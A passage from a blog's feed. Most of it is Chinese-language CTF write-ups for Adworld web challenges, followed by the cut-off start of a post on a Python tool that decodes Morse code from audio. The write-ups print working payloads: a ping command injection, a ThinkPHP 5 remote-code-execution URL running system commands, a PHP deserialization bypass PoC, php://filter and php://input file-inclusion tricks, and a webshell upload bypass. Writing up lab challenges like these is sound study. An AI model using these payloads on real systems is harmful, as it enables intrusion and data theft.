class="hljs-keyword">else</span><br>        <span class="hljs-keyword">die</span>(<span class="hljs-string">&quot;NONONO&quot;</span>);<br>&#125;<br></code></pre></td></tr></table></figure><p>第一行中已经include了flag.php，因此flag值可能在注释中</p><p><code>file_get_contents($file2) === &quot;hello ctf&quot;</code> 限定参数file2中内容必须为 <code>hello ctf</code></p><p>通过 <code>php://input</code> 与POST方法绕过</p><p>使用过滤器读flag.php内容并转为Base64</p><h4 id="Payload-3"><a href="#Payload-3" class="headerlink" title="Payload"></a>Payload</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs plaintext">curl -X POST &quot;http://ip:port/?file1=php://filter/read%3Dconvert.base64-encode/resource%3Dflag.php&amp;file2=php://input&quot; -H &quot;Content-Type: text/plain&quot; -d &quot;hello ctf&quot;<br></code></pre></td></tr></table></figure><details> <summary>Flag</summary>    <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs plaintext">cyberpeace&#123;79f1764b4a555ea2d6f0abdbdd6c261e&#125;<br></code></pre></td></tr></table></figure></details><h2 id="难度2"><a href="#难度2" class="headerlink" title="难度2"></a>难度2</h2><h3 id="upload1"><a href="#upload1" class="headerlink" title="upload1"></a>upload1</h3><p>打开网站，只有一个上传点，尝试上传php文件</p><p>弹出了javascript的alert警告框，猜测为前端对上传内容做了限制</p><p>启用DevTool的替代模式</p><p class='item-img' data-src='https://s2.loli.net/2024/12/30/9XnG7SQdKh4uCso.jpg'><img src="https://s2.loli.net/2024/12/30/9XnG7SQdKh4uCso.jpg" alt="adworld-web-writeups__upload1__00.jpg"></p><p>删除判断后缀的代码</p><p class='item-img' data-src='https://s2.loli.net/2024/12/30/R6To4xP1vdtNJ8M.jpg'><img src="https://s2.loli.net/2024/12/30/R6To4xP1vdtNJ8M.jpg" alt="adworld-web-writeups__upload1__01.jpg"></p><p>上传成功，蚁剑连接得到flag</p><p class='item-img' data-src='https://s2.loli.net/2024/12/30/x4JYPlR7KTovrNf.jpg'><img src="https://s2.loli.net/2024/12/30/x4JYPlR7KTovrNf.jpg" alt="adworld-web-writeups__upload1__02.jpg"></p><details> <summary>Flag</summary>    <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs plaintext">cyberpeace&#123;fed234f59d01a227d353e95bc38aea35&#125;<br></code></pre></td></tr></table></figure></details><h3 id="xff-referer"><a href="#xff-referer" class="headerlink" title="xff_referer"></a>xff_referer</h3><p>题目提示可以伪造 <code>X-Forwarded-For</code> 和 <code>Referer</code> ，访问网站</p><blockquote><p>ip地址必须为123.123.123.123</p></blockquote><p>向请求头添加 <code>X-Forwarded-For</code></p><p class='item-img' data-src='https://s2.loli.net/2024/12/30/QZIbwkLogNirsUv.jpg'><img src="https://s2.loli.net/2024/12/30/QZIbwkLogNirsUv.jpg" alt="adworld-web-writeups__xff_referer__00.jpg"></p><blockquote><p>必须来自<a href="https://www.google.com/">https://www.google.com</a></p></blockquote><p>向请求头添加 <code>Referer</code></p><p class='item-img' data-src='https://s2.loli.net/2024/12/30/jpct3qmVeDy8oLX.jpg'><img src="https://s2.loli.net/2024/12/30/jpct3qmVeDy8oLX.jpg" alt="adworld-web-writeups__xff_referer__01.jpg"></p><details> <summary>Flag</summary>    <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs plaintext">cyberpeace&#123;b1fc04c4bb57c105c1e5924c6d073897&#125;<br></code></pre></td></tr></table></figure></details><h3 id="command-execution"><a href="#command-execution" class="headerlink" title="command_execution"></a>command_execution</h3><p>题目提示ping命令没有waf，使用 <code>&amp;&amp;</code> 连接两个命令</p><p>使用<code>find</code>命令搜索文件名flag</p><blockquote><p>127.0.0.1 &amp;&amp; find &#x2F; -name “flag*”</p></blockquote><p class='item-img' data-src='https://s2.loli.net/2024/12/30/X4PBoWRYQdHewJa.jpg'><img src="https://s2.loli.net/2024/12/30/X4PBoWRYQdHewJa.jpg" alt="adworld-web-writeups__command_execution__00.jpg"></p><p>找到flag在<code>/home/flag.txt</code>， cat出来</p><details> <summary>Flag</summary>    <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs plaintext">cyberpeace&#123;038d89f203be4c8a8874129d4337275e&#125;<br></code></pre></td></tr></table></figure></details><h3 id="web2"><a href="#web2" class="headerlink" title="web2"></a>web2</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><code class="hljs PHP"><span class="hljs-meta">&lt;?php</span><br><span class="hljs-variable">$miwen</span>=<span class="hljs-string">&quot;a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws&quot;</span>;<br><br><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">encode</span>(<span class="hljs-params"><span class="hljs-variable">$str</span></span>)</span>&#123;<br>    <span class="hljs-variable">$_o</span>=<span class="hljs-title function_ invoke__">strrev</span>(<span class="hljs-variable">$str</span>);<br>    <span class="hljs-comment">// echo $_o;</span><br>        <br>    <span class="hljs-keyword">for</span>(<span class="hljs-variable">$_0</span>=<span class="hljs-number">0</span>;<span class="hljs-variable">$_0</span>&lt;<span class="hljs-title function_ invoke__">strlen</span>(<span class="hljs-variable">$_o</span>);<span class="hljs-variable">$_0</span>++)&#123;<br>       <br>        <span class="hljs-variable">$_c</span>=<span class="hljs-title function_ invoke__">substr</span>(<span class="hljs-variable">$_o</span>,<span class="hljs-variable">$_0</span>,<span class="hljs-number">1</span>);<br>        <span class="hljs-variable">$__</span>=<span class="hljs-title function_ invoke__">ord</span>(<span class="hljs-variable">$_c</span>)+<span class="hljs-number">1</span>;<br>        <span class="hljs-variable">$_c</span>=<span class="hljs-title function_ invoke__">chr</span>(<span class="hljs-variable">$__</span>);<br>        <span class="hljs-variable">$_</span>=<span class="hljs-variable">$_</span>.<span class="hljs-variable">$_c</span>;   <br>    &#125; <br>    <span class="hljs-keyword">return</span> <span class="hljs-title function_ invoke__">str_rot13</span>(<span class="hljs-title function_ invoke__">strrev</span>(<span class="hljs-title function_ invoke__">base64_encode</span>(<span class="hljs-variable">$_</span>)));<br>&#125;<br><br><span class="hljs-title function_ invoke__">highlight_file</span>(<span class="hljs-keyword">__FILE__</span>);<br><span class="hljs-comment">/*</span><br><span class="hljs-comment">   逆向加密算法，解密$miwen就是flag</span><br><span class="hljs-comment">*/</span><br><span class="hljs-meta">?&gt;</span><br></code></pre></td></tr></table></figure><p>首先使用CyberChef对密文进行初步处理，对应加密代码中的</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs PHP"><span class="hljs-keyword">return</span> <span class="hljs-title function_ invoke__">str_rot13</span>(<span class="hljs-title function_ invoke__">strrev</span>(<span class="hljs-title function_ invoke__">base64_encode</span>(<span class="hljs-variable">$_</span>)));<br></code></pre></td></tr></table></figure><p class='item-img' data-src='https://s2.loli.net/2024/12/30/Xk5djCuabc7LApO.jpg'><img src="https://s2.loli.net/2024/12/30/Xk5djCuabc7LApO.jpg" alt="adworld-web-writeups__web2__00.jpg"></p><p>使用python逆向加密算法得出flag</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><code class="hljs python">_ = <span class="hljs-string">&#x27;~88:36e1bg8438e41757d:29cgeb6e48c`GUDTO|;hbmg&#x27;</span><br>_<span class="hljs-built_in">str</span> = []<br><br><span class="hljs-keyword">for</span> _c <span class="hljs-keyword">in</span> _:<br>    __ = <span class="hljs-built_in">ord</span>(_c)<br>    _c = <span class="hljs-built_in">chr</span>(__ - <span class="hljs-number">1</span>)<br>    _<span class="hljs-built_in">str</span>.append(_c)<br><br>_<span class="hljs-built_in">str</span>.reverse()<br><br><span class="hljs-built_in">print</span>(<span class="hljs-string">&#x27;&#x27;</span>.join(_<span class="hljs-built_in">str</span>))<br></code></pre></td></tr></table></figure><details> <summary>Flag</summary>    <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs plaintext">flag:&#123;NSCTF_b73d5adfb819c64603d7237fa0d52977&#125;<br></code></pre></td></tr></table></figure></details><h3 id="Web-php-unserialize"><a href="#Web-php-unserialize" class="headerlink" title="Web_php_unserialize"></a>Web_php_unserialize</h3><p>index.php</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><code class="hljs PHP"><span class="hljs-meta">&lt;?php</span> <br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Demo</span> </span>&#123; <br>    <span class="hljs-keyword">private</span> <span class="hljs-variable">$file</span> = <span class="hljs-string">&#x27;index.php&#x27;</span>;<br>    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__construct</span>(<span class="hljs-params"><span class="hljs-variable">$file</span></span>) </span>&#123; <br>        <span class="hljs-variable language_">$this</span>-&gt;file = <span class="hljs-variable">$file</span>; <br>    &#125;<br>    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__destruct</span>(<span class="hljs-params"></span>) </span>&#123; <br>        <span class="hljs-keyword">echo</span> @<span class="hljs-title function_ invoke__">highlight_file</span>(<span class="hljs-variable">$this</span>-&gt;file, <span class="hljs-literal">true</span>); <br>    &#125;<br>    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__wakeup</span>(<span class="hljs-params"></span>) </span>&#123; <br>        <span class="hljs-keyword">if</span> (<span class="hljs-variable language_">$this</span>-&gt;file != <span class="hljs-string">&#x27;index.php&#x27;</span>) &#123; <br>            <span class="hljs-comment">//the secret is in the fl4g.php</span><br>            <span class="hljs-variable language_">$this</span>-&gt;file = <span class="hljs-string">&#x27;index.php&#x27;</span>; <br>        &#125; <br>    &#125; <br>&#125;<br><span class="hljs-keyword">if</span> (<span class="hljs-keyword">isset</span>(<span class="hljs-variable">$_GET</span>[<span class="hljs-string">&#x27;var&#x27;</span>])) &#123; <br>    <span class="hljs-variable">$var</span> = <span class="hljs-title function_ invoke__">base64_decode</span>(<span class="hljs-variable">$_GET</span>[<span class="hljs-string">&#x27;var&#x27;</span>]); <br>    <span class="hljs-keyword">if</span> (<span class="hljs-title function_ invoke__">preg_match</span>(<span class="hljs-string">&#x27;/[oc]:\d+:/i&#x27;</span>, <span class="hljs-variable">$var</span>)) &#123; <br>        <span class="hljs-keyword">die</span>(<span class="hljs-string">&#x27;stop hacking!&#x27;</span>); <br>    &#125; <span class="hljs-keyword">else</span> &#123;<br>        @<span class="hljs-title function_ invoke__">unserialize</span>(<span class="hljs-variable">$var</span>); <br>    &#125; <br>&#125; <span class="hljs-keyword">else</span> &#123; <br>    <span class="hljs-title function_ invoke__">highlight_file</span>(<span class="hljs-string">&quot;index.php&quot;</span>); <br>&#125; <br><span class="hljs-meta">?&gt;</span><br></code></pre></td></tr></table></figure><p>从上至下共有以下几点</p><ul><li><p>从URL接收 <code>var</code> 参数</p></li><li><p><code>Base64</code> 解码var参数</p></li><li><p><code>正则</code>匹配 <code>O:&lt;任意数字&gt;:</code> 或 <code>C:&lt;任意数字&gt;:</code></p></li><li><p><code>__wakeup()</code> 将$file的值限定为index.php</p></li></ul><p>反向操作，<a href="https://wiki.scuctf.com/ctfwiki/web/5.unserialize/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/#__wakeupcve-2016-7124">绕过_wakeup()</a></p><blockquote><p>序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行</p></blockquote><blockquote><p>O:4:”Demo”:<code>1</code>:{s:10:”Demofile”;s:8:”fl4g.php”;}</p></blockquote><p><a href="https://wiki.scuctf.com/ctfwiki/web/5.unserialize/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/#_5">绕过正则</a></p><blockquote><p>O:<code>+</code>4:”Demo”:2:{s:10:”Demofile”;s:8:”fl4g.php”;}</p></blockquote><p>最后进行Base64编码</p><h4 id="注意"><a href="#注意" class="headerlink" title="注意"></a>注意</h4><p class='item-img' data-src='https://s2.loli.net/2025/01/01/bcfiBkRw68doq4s.jpg'><img src="https://s2.loli.net/2025/01/01/bcfiBkRw68doq4s.jpg" alt="adworld-web-writeups__Web_php_unserialize__00.jpg"></p><p>由于变量file的类型为 <code>private</code>，因此在 <code>Demo</code> 两边各有一个空字节</p><p>PoC</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><code class="hljs PHP"><span class="hljs-meta">&lt;?php</span><br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Demo</span> </span>&#123; <br>    <span class="hljs-keyword">private</span> <span class="hljs-variable">$file</span> = <span class="hljs-string">&#x27;index.php&#x27;</span>;<br>    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__construct</span>(<span class="hljs-params"><span class="hljs-variable">$file</span></span>) </span>&#123; <br>        <span class="hljs-variable language_">$this</span>-&gt;file = <span class="hljs-variable">$file</span>; <br>    &#125;<br>    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__destruct</span>(<span class="hljs-params"></span>) </span>&#123; <br>        <span class="hljs-keyword">echo</span> @<span class="hljs-title function_ invoke__">highlight_file</span>(<span class="hljs-variable">$this</span>-&gt;file, <span class="hljs-literal">true</span>); <br>    &#125;<br>    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__wakeup</span>(<span class="hljs-params"></span>) </span>&#123; <br>        <span class="hljs-keyword">if</span> (<span class="hljs-variable language_">$this</span>-&gt;file != <span class="hljs-string">&#x27;index.php&#x27;</span>) &#123; <br>            <span class="hljs-comment">//the secret is in the fl4g.php</span><br>            <span class="hljs-variable language_">$this</span>-&gt;file = <span class="hljs-string">&#x27;index.php&#x27;</span>; <br>        &#125; <br>    &#125; <br>&#125;<br><span class="hljs-variable">$obj</span> = <span class="hljs-keyword">new</span> <span class="hljs-title class_">Demo</span>(<span class="hljs-string">&#x27;fl4g.php&#x27;</span>);<br><span class="hljs-variable">$serialized</span> = <span class="hljs-title function_ invoke__">serialize</span>(<span class="hljs-variable">$obj</span>);<br><span class="hljs-comment">// +号绕过</span><br><span class="hljs-variable">$serialized</span> = <span class="hljs-title function_ invoke__">str_replace</span>(<span class="hljs-string">&#x27;O:4&#x27;</span>,<span class="hljs-string">&#x27;O:+4&#x27;</span>, <span class="hljs-variable">$serialized</span>);<br><span class="hljs-comment">// __wakeup绕过</span><br><span class="hljs-variable">$serialized</span> = <span class="hljs-title function_ invoke__">str_replace</span>(<span class="hljs-string">&#x27;:1:&#x27;</span>,<span class="hljs-string">&#x27;:2:&#x27;</span>, <span class="hljs-variable">$serialized</span>);<br><span class="hljs-comment">// Base64编码</span><br><span class="hljs-variable">$serialized</span> = <span class="hljs-title function_ invoke__">base64_encode</span>(<span class="hljs-variable">$serialized</span>);<br><span class="hljs-keyword">echo</span> <span class="hljs-variable">$serialized</span>;<br><span class="hljs-meta">?&gt;</span><br></code></pre></td></tr></table></figure><details> <summary>Flag</summary>    <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs plaintext">ctf&#123;b17bd4c7-34c9-4526-8fa8-a0794a197013&#125;<br></code></pre></td></tr></table></figure></details><h3 id="php-rce"><a href="#php-rce" class="headerlink" title="php_rce"></a>php_rce</h3><p>题目提示了PHP的Rce，访问网站得到版本为 <code>ThinkPHP V5</code></p><p>存在<a href="https://www.exploit-db.com/exploits/45978">ThinkPHP 5.0.23&#x2F;5.1.31 - 远程命令执行</a>漏洞</p><h4 id="Payload-4"><a href="#Payload-4" class="headerlink" title="Payload"></a>Payload</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs plaintext">http://ip:port/index.php?s=/index/\think\app/invokefunction&amp;function=call_user_func_array&amp;vars[0]=system&amp;vars[1][]=cat%20/flag;&#x27;<br></code></pre></td></tr></table></figure><details> <summary>Flag</summary>    <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs plaintext">flag&#123;thinkphp5_rce&#125;<br></code></pre></td></tr></table></figure></details><h3 id="Web-php-include"><a href="#Web-php-include" class="headerlink" title="Web_php_include"></a>Web_php_include</h3><p>题目为PHP文件包含，查看源代码</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><code class="hljs PHP"><span class="hljs-meta">&lt;?php</span><br><span class="hljs-title function_ invoke__">show_source</span>(<span class="hljs-keyword">__FILE__</span>);<br><span class="hljs-keyword">echo</span> <span class="hljs-variable">$_GET</span>[<span class="hljs-string">&#x27;hello&#x27;</span>];<br><span class="hljs-variable">$page</span>=<span class="hljs-variable">$_GET</span>[<span class="hljs-string">&#x27;page&#x27;</span>];<br><span class="hljs-keyword">while</span> (<span class="hljs-title function_ invoke__">strstr</span>(<span class="hljs-variable">$page</span>, <span class="hljs-string">&quot;php://&quot;</span>)) &#123;<br>    <span class="hljs-variable">$page</span>=<span class="hljs-title function_ invoke__">str_replace</span>(<span class="hljs-string">&quot;php://&quot;</span>, <span class="hljs-string">&quot;&quot;</span>, <span class="hljs-variable">$page</span>);<br>&#125;<br><span class="hljs-keyword">include</span>(<span class="hljs-variable">$page</span>);<br><span class="hljs-meta">?&gt;</span><br></code></pre></td></tr></table></figure><p>include源由参数page控制，过滤了 <code>php://</code>，但可以用 <code>phP://</code></p><p>构造过滤器，<code>phP://input</code> 从POST请求体取得PHP代码执行</p><p>尝试使用 <code>eval</code> 函数执行命令，报500错误</p><p class='item-img' data-src='https://s2.loli.net/2025/01/01/2cFqskj7HRCfSYv.jpg'><img src="https://s2.loli.net/2025/01/01/2cFqskj7HRCfSYv.jpg" alt="adworld-web-writeups__Web_php_include__00.jpg"></p><p>改用 <code>system</code> 函数成功执行</p><p class='item-img' data-src='https://s2.loli.net/2025/01/01/ZtTQ2bAqc9g3vmn.jpg'><img src="https://s2.loli.net/2025/01/01/ZtTQ2bAqc9g3vmn.jpg" alt="adworld-web-writeups__Web_php_include__01.jpg"></p><p>ls找到文件 <code>fl4gisisish3r3.php</code>, cat出来</p><p class='item-img' data-src='https://s2.loli.net/2025/01/01/gzVWOF6HJCjw84u.jpg'><img src="https://s2.loli.net/2025/01/01/gzVWOF6HJCjw84u.jpg" alt="adworld-web-writeups__Web_php_include__02.jpg"></p><details> <summary>Flag</summary>    <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs plaintext">ctf&#123;876a5fca-96c6-4cbd-9075-46f0c89475d2&#125;<br></code></pre></td></tr></table></figure></details>]]>
    </content>
    <id>https://blog.moling.ink/articles/adworld-web-writeups/</id>
    <link href="https://blog.moling.ink/articles/adworld-web-writeups/"/>
    <published>2024-11-14T18:59:46.000Z</published>
    <summary>系统整理攻防世界平台 Web 安全题目的详细解题思路与 WriteUp,按难度分级涵盖 Robots 协议、Cookie 伪造、文件包含、SQL 注入、命令执行、文件上传、PHP 反序列化、ThinkPHP RCE 等多个知识点</summary>
    <title>攻防世界WEB题WriteUp收集</title>
    <updated>2026-03-24T07:16:31.687Z</updated>
  </entry>
  <entry>
    <author>
      <name>Malpl3naInk</name>
    </author>
    <category term="项目" scheme="https://blog.moling.ink/categories/%E9%A1%B9%E7%9B%AE/"/>
    <category term="CTF" scheme="https://blog.moling.ink/tags/CTF/"/>
    <category term="音频处理" scheme="https://blog.moling.ink/tags/%E9%9F%B3%E9%A2%91%E5%A4%84%E7%90%86/"/>
    <content>
      <![CDATA[<blockquote><p>本人并非专业人士，在部分专业名词的表述上可能会出现错误，敬请谅解</p></blockquote><blockquote><p>同步自本人 CSDN</p></blockquote><p>前段时间在 BugKu 做题时碰到了这么一题 <a href="https://ctf.bugku.com/challenges/detail/id/396.html">铁子，来一道 - Bugku CTF</a><br>(WriteUp 可见同学的博客 <a href="https://blog.csdn.net/qq_67676090/article/details/131067599">【BugKu】铁子，来一道_s1ameseL的博客-CSDN博客</a>)<br>在解题过程中有一步，需要从音频中提取出摩斯密码。看了同学写的 WriteUp 后，我突发奇想，决定写一个自动从音频中提取摩斯密码的程序，于是就有了这么个工具</p><p>Github地址: <a href="https://github.com/Malpl3naInk/MorseAudioDecoder">https://github.com/Malpl3naInk/MorseAudioDecoder</a></p><h2 id="编写过程"><a href="#编写过程" class="headerlink" title="编写过程"></a>编写过程</h2><h3 id="载入音频"><a href="#载入音频" class="headerlink" title="载入音频"></a>载入音频</h3><p>在这里使用的是 python 的 <code>wave</code> 库</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-comment"># 加载音频</span><br>audio = wave.<span class="hljs-built_in">open</span>(sys.argv[<span class="hljs-number">1</span>], <span class="hljs-string">&#x27;rb&#x27;</span>)<br><br><span class="hljs-comment"># 读音频信息</span><br>params = audio.getparams()<br><span class="hljs-built_in">print</span>(params)<br>n_channels, _, sample_rate, n_frames = params[:<span class="hljs-number">4</span>]<br><br><span class="hljs-comment"># 读频谱信息</span><br>str_wave_data = audio.readframes(n_frames)<br>audio.close()<br><br><span class="hljs-comment"># 将频谱信息转为数组</span><br>wave_data = np.frombuffer(str_wave_data, dtype=np.short).T<br><br></code></pre></td></tr></table></figure><h3 id="提取数据"><a href="#提取数据" class="headerlink" title="提取数据"></a>提取数据</h3><p>计算出横轴的时间轴后，使用 <code>pylab</code> 库绘制频谱图像</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs python">time = np.arange(<span class="hljs-number">0</span>, n_frames) * (<span class="hljs-number">1.0</span> / sample_rate)<br>pylab.plot(time, wave_data)<br>pylab.show()<br></code></pre></td></tr></table></figure><p>结果如下<br class='item-img' data-src='https://s2.loli.net/2023/08/19/9MuXBb3Vifgyv5G.png'><img src="https://s2.loli.net/2023/08/19/9MuXBb3Vifgyv5G.png" alt="analyze-morse-code-from-audio_01.png"><br>对于如何区分长(“-“)与短(“.”)，我想到的方法是计算出所有信号的平均长度，大于平均长度的即为长(“-“)</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-comment"># 计算平均频率</span><br>wave_avg = <span class="hljs-built_in">int</span>(<span class="hljs-built_in">sum</span>([<span class="hljs-built_in">abs</span>(x / <span class="hljs-number">10</span>) <span class="hljs-keyword">for</span> x <span class="hljs-keyword">in</span> wave_data]) / <span class="hljs-built_in">len</span>(wave_data))<br></code></pre></td></tr></table></figure><p>在此处有个小插曲，由于音频的波形呈现正弦型，所以在带有信息的区域也会出现频率值为0的情况，最终生成的数据也无法转换为摩斯密码<br class='item-img' data-src='https://s2.loli.net/2023/08/19/IbWZT93gDJhGEHM.png'><img src="https://s2.loli.net/2023/08/19/IbWZT93gDJhGEHM.png" alt="analyze-morse-code-from-audio_02.png"><br>后来在 <a href="https://blog.csdn.net/RONE321/article/details/102370195">Python 波形处理_Rone-X的博客-CSDN博客</a> 这篇博客中发现可以取一段区域内的平均值<br>比较代码如下，使用了 <code>tqdm</code> 库显示绘制进度</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-comment"># 绘制摩斯图像</span><br>morse_block_sum = <span class="hljs-number">0</span>  <span class="hljs-comment"># 待划分的数据</span><br>morse_block_length = <span class="hljs-number">0</span>  <span class="hljs-comment"># 待划分的数据长度</span><br>morse_arr = []<br>time_arr = []<br>pbar = tqdm(wave_data, desc=<span class="hljs-string">&quot;Drawing Morse Image&quot;</span>)<br><span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> pbar:<br>    <span class="hljs-comment"># 高于平均值记为 1 ，反之为 0</span><br>    <span class="hljs-keyword">if</span> <span class="hljs-built_in">abs</span>(i) &gt; wave_avg:<br>        morse_block_sum += <span class="hljs-number">1</span><br>    <span class="hljs-keyword">else</span>:<br>        morse_block_sum += <span class="hljs-number">0</span><br>    morse_block_length += <span class="hljs-number">1</span><br>    <span class="hljs-comment"># 将数据按照指定长度划分</span><br>    <span class="hljs-keyword">if</span> morse_block_length == <span class="hljs-number">100</span>:<br>        <span class="hljs-comment"># 计算划分块的平均值</span><br>        <span class="hljs-keyword">if</span> math.sqrt(morse_block_sum / <span class="hljs-number">100</span>) &gt; <span class="hljs-number">0.5</span>:<br>            morse_arr.append(<span class="hljs-number">1</span>)<br>        <span class="hljs-keyword">else</span>:<br>            morse_arr.append(<span class="hljs-number">0</span>)<br>        <span class="hljs-comment"># 横坐标</span><br>        time_arr.append(<span class="hljs-built_in">len</span>(time_arr))<br>        morse_block_length = <span class="hljs-number">0</span><br>        morse_block_sum = <span class="hljs-number">0</span><br></code></pre></td></tr></table></figure><p>最后生成的图像如下<br class='item-img' data-src='https://s2.loli.net/2023/08/19/26iMSsRNUWEkXeJ.png'><img src="https://s2.loli.net/2023/08/19/26iMSsRNUWEkXeJ.png" alt="analyze-morse-code-from-audio_03.png"><br>接着取出 0 位和 1 位的长度信息</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-comment"># 摩斯电码 按信号长度存储</span><br>morse_type = []<br>morse_len = []<br><span class="hljs-comment"># 摩斯电码长度     0  1</span><br>morse_obj_sum = [<span class="hljs-number">0</span>, <span class="hljs-number">0</span>]<br>morse_obj_len = [<span class="hljs-number">0</span>, <span class="hljs-number">0</span>]<br><span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> morse_arr:<br>    <span class="hljs-keyword">if</span> <span class="hljs-built_in">len</span>(morse_type) == <span class="hljs-number">0</span> <span class="hljs-keyword">or</span> morse_type[<span class="hljs-built_in">len</span>(morse_type) - <span class="hljs-number">1</span>] != i:<br>        morse_obj_len[i] += <span class="hljs-number">1</span><br>        morse_obj_sum[i] += <span class="hljs-number">1</span><br>        morse_type.append(i)<br>        morse_len.append(<span 